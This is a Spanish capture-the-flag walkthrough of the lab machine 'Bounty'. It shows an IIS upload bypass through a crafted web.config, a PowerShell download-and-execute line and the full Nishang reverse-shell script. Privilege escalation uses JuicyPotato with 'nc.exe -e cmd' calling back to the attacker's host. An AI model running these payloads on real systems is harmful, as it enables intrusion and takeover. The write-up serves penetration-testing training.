Bounty

Publicado: 14 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
Bounty es una máquina Windows de dificultad Easy que presenta un servidor web IIS 7.5 con funcionalidad de carga de archivos. La explotación inicial se logra mediante el abuso de archivos web.config en IIS para ejecutar código ASP, lo que permite obtener una reverse shell. La escalada de privilegios se realiza aprovechando el token SeImpersonatePrivilege con JuicyPotato, una técnica clásica en sistemas Windows Server 2008.
Técnicas principales:
Enumeración web y fuzzing de directorios
Bypass de restricciones de carga de archivos
Explotación de archivos web.config en IIS
Escalada de privilegios con SeImpersonatePrivilege
Uso de JuicyPotato para elevar privilegios
🔭 Reconocimiento
🏓 Ping para verificación en base a TTL
❯ ping -c2 10.10.10.93
PING 10.10.10.93 (10.10.10.93) 56(84) bytes of data.
64 bytes from 10.10.10.93: icmp_seq=1 ttl=127 time=47.8 ms
64 bytes from 10.10.10.93: icmp_seq=2 ttl=127 time=47.8 ms
--- 10.10.10.93 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 47.787/47.787/47.788/0.000 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🔍 Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.93 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
80
🛠️ Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.93 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-14 19:39 CEST
Nmap scan report for 10.10.10.93
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🌐 Enumeración Web
🏗️ Puerto 80 HTTP (Microsoft IIS httpd 7.5)
Accedemos al servicio lo único que vemos es una imagen del mago merlin:

El código fuente tampoco revela nada de utilidad salvo la imagen

🔎 Fuzzing de directorios
Realizamos fuzzing de directorios usando la herramienta gobuster y encontramos un recurso /UploadedFiles
interesante para analizar y que podría servirnos para un potencial vector de ataque:
gobuster dir -e --url http://10.10.10.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 80

Nos sirve también para confirmar que se trata de una máquina windows ya que el mismo recurso es válido por triplicado ya que windows es case-insensitive.
Por el momento no podemos hacer nada con este recurso, ya que nos devuelve un 403 lo que parece indicar a priori que no tenemos permisos para el directorio raíz pero a lo mejor sí tendríamos si conociésemos algún recurso dentro de él.

Volvemos a ejecutar feroxbuster pero esta vez vamos a incluir extensiones de archivos asp, aspx, ya que estamos ante un seridor IIS, para ver si encontramos algún otro recurso interesante:
feroxbuster -u http://10.10.10.93 -r -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --scan-dir-listings -C 503 -x php,xml,asp,aspx

Encontramos un recurso /transfer.aspx
📤 Analizando el recurso /transfer.aspx
Al acceder al recurso /transfer
descubrimos un módulo de carga de archivos:
Al acceder al recurso /transfer descubrimos un módulo de carga de archivos:

Podemos probar manualmente para ver qué extensiones están permitidas, aunque también podemos automatizar un poco esto usando listas de Fuzzing de extensiones de las que tenemos en /usr/share/seclists
Podemos filtrar por número de líneas para ver el tamaño y elegir la que mejor consideremos:
cd /usr/share/seclists
find \-name \*extension\* | xargs wc -l
69 ./Fuzzing/extensions-Bo0oM.txt
769 ./Fuzzing/file-extensions.txt
186 ./Fuzzing/extensions-compressed.fuzz.txt
769 ./Fuzzing/file-extensions-upper-case.txt
769 ./Fuzzing/file-extensions-lower-case.txt
17576 ./Fuzzing/extension-test.txt
31 ./Fuzzing/extensions-most-common.fuzz.txt
93 ./Fuzzing/extensions-skipfish.fuzz.txt
1543 ./Fuzzing/file-extensions-all-cases.txt
963 ./Discovery/Web-Content/raft-small-extensions.txt
66885 ./Discovery/Web-Content/web-extensions-big.txt
1234 ./Discovery/Web-Content/raft-medium-extensions-lowercase.txt
2367 ./Discovery/Web-Content/raft-large-extensions-lowercase.txt
43 ./Discovery/Web-Content/web-extensions.txt
2450 ./Discovery/Web-Content/raft-large-extensions.txt
25419 ./Discovery/Web-Content/File-Extensions-Universal-SVNDigger-Project/all-extensionless.txt
1290 ./Discovery/Web-Content/raft-medium-extensions.txt
914 ./Discovery/W
🎣 Fuzzing con Burp Suite
Podemos usar Burp y el Intruder con un ataque de tipo Sniper y usando como SImple List la lista raft-medium-extensions-lowercase.txt

Una vez cargada la lista, en Options, seleccionamos Grep Extract y añadimos el mensaje de error por el que filtraremos la respuesta:

Desactivamos también la opción para que no nos codifique el carácter "." que va con la extensión

Iniciamos el ataque y comenzamos a ver extensiones válidas:

🐍 Fuzzing con Script alternativo en Python
Como alternativa también podemos implementar un script en python que lo automatice de esta forma:
from pwn import *
import signal, time, pdb, sys, requests
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
transfer_url = "http://10.10.10.93/transfer.aspx"
def uploadFile(extension):
s = requests.session()
r = s.get(transfer_url)
viewState = re.findall(r'id="__VIEWSTATE" value="(.*?)"', r.text)[0]
eventValidation = re.findall(r'id="__EVENTVALIDATION" value="(.*?)"', r.text)[0]
post_data = {
'__VIEWSTATE': viewState,
'__EVENTVALIDATION': eventValidation,
'btnUpload': 'Upload'
}
fileUploaded = {'FileUpload1': ('Prueba%s' % extension, 'Esto es una prueba')}
r = s.post(transfer_url, data=post_data, files=fileUploaded)
if "Invalid File. Please try again" not in r.text:
log.info("La extension %s es valida" % extension)
if __name__ == '__main__':
f = open("/usr/share/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt", "rb")
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
for extension in f.readlines():
extension = extension.decode().strip()
p1.status("Probando la extensión: %s" % extension)
uploadFile(extension)

Hay una extensión interesante que está permitida entre todas ellas y es la extensión .config
⚡ Descubrimiento de la extensión .config
Si buscamos información por IIS config file exploit encontramos un sitio donde se explica esta vulnerabilidad con una pequeña PoC
https://www.ivoidwarranties.tech/posts/pentesting-tuts/iis/web-config/
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->
🧪 Prueba de concepto
A partir del comentario, podemos ejecutar código ASP. En esta PoC está realizando una pequeña suma de 1+2, por lo que subimos este archivo y lo ejecutamos, deberíamos recibir un 3:
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->
Subimos el archivo web.config

Accedemos a él a través del recurso descubierto durante la fase de fuzzing de directorios:
http://10.10.10.93/uploadedfiles/web.config
Y comprobamos que obtenemos un valor 3:

💥 Ejecución remota de comandos (RCE)
Lo interesante es que ahora podemos convertir esto es una RCE (ejecución remota de comandos) y ganar acceso al sistema modificando el payload:
Podemos descargar un ASP one-liner de este recurso: https://www.hackingdream.net/2020/02/reverse-shell-cheat-sheet-for-penetration-testing-oscp.html o adaptar ligeramente el de este otro https://github.com/cspshivam/webshells/blob/main/webshell.aspx
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmd.StdOut.Readall()
Response.write(o)
%>
Lo adaptamos para que en lugar de ejecutar el comando whoami ejecute un archivo en powershell que contendrá nuestra reverse shell
<% Set rs = CreateObject("WScript.Shell") Set cmd = rs.Exec("cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/rev.ps1')") o = cmd.StdOut.Readall() Response.write(o) %>
Así quedaría finalmente nuestro archivo web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/rev.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
-->
Faltaría definir lo que será el archivo rev.ps1, que será una Invoke-PowerShellTcp.ps1 de nishang https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 a la que añadiremos al final del script el comando para ejecutar la reverse shell especificando nuestro host y puerto de ataque donde estaremos escuchando con netcat
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 443
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 443
🎯 Ganando acceso inicial
Iniciamos un listener con netcat en nuestro host de ataque:
nc -nlvp 443
Tras subir el archivo web.config y acceder a én en http://10.10.10.93/uploadedfiles/web.config recibiremos la conexión reversa y ganaremos acceso a la máquina:

👤 Obteniendo la flag user.txt
Estamos dentro de la máquina como usuario merlin sin embargo no encontramos la flag user.txt donde suele estar habitualmente que es el directorio Desktop del usuario con bajos privilegios, en este caso merlin
Tampoco nos deja lista forma recursiva por la cadena "user.txt" para buscar la flag:
cmd /c dir /r /s user.txt

Sin embargo, como estamos en PowerShell si hacemos un dir -Force
para que incluya archivos ocultos logramos verla y leer su contenido:
PS C:\Users\merlin\Desktop> dir -Force
Directory: C:\Users\merlin\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs 5/30/2018 12:22 AM 282 desktop.ini
-arh- 6/14/2025 8:32 PM 34 user.txt
PS C:\Users\merlin\Desktop> type user.txt
39****************2658748b2c
🚀 Escalada de Privilegios
🔍 Enumeración de privilegios
Verificamos qué privilegios tiene el usuario merlin y vemos que tiene el privilegio SeImpersonatePrivilege habilitado.

Y dado que estamos en una máquina Windows Server 2008 podemos tratar de usar Juicy Potato clásico:

🥔 Explotación con JuicyPotato
Descargamos el binario compilado de: https://github.com/ohpe/juicy-potato/releases/tag/v0.1
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
Descargamos también netcat en la versión de 64 bits y transferimos ambas herramientas al host con WIndows Server 2008:
python3 -m http.server 80
PS C:\Temp> cd Privesc
PS C:\Temp\Privesc> certutil -urlcache -split -f http://10.10.14.7/nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
PS C:\Temp\Privesc> certutil -urlcache -split -f http://10.10.14.7/JP.exe
**** Online ****
000000 ...
054e00
CertUtil: -URLCache command completed successfully.
🧪 Prueba de JuicyPotato
Ahora procedemos a ejecutar el binario de JuicyPotato. Podemos hacer por ejemplo la prueba de ejecutarlo para añadir un nuevo usuario al sistema, esto confirmaría que funciona que ya solo NT System puede hacerlo:
.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c net user x3m1Sec x3m1Sec123! /add"
-t *
Usa cualquier tipo de token (típicamente: *
, clsid
, o moniker
). En este caso *
es válido. En caso de que de problemas usar un CLSID que corresponda a la versión en https://github.com/ohpe/juicy-potato/tree/master/CLSID
-p C:\Windows\System32\cmd.exe
Especifica el ejecutable que se lanzará con privilegios elevados.
-l 1337
Es el puerto COM local que JuicyPotato usará para la comunicación (puede ser cualquier valor no usado).
-a "/c net user x3m1Sec x3m1Sec123! /add"
Argumentos pasados a cmd.exe
, que en este caso añade un nuevo usuario.
👑 Ganando privilegios de SYSTEM
Si queremos ganar acceso al sistema como NT system, bastaría iniciar un listener en nuestro host de ataque usando netcat y modificar el payload del comando que queremos ejecutar con JuicyPotato a este:
rlwrap nc -nlvp 443
.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Temp\Privesc\nc.exe -e cmd 10.10.14.7 443"

Y deberemos recibir en nuestro listener la conexión reversa con privilegios de NT System y podremos leer la flag root.txt:

Last updated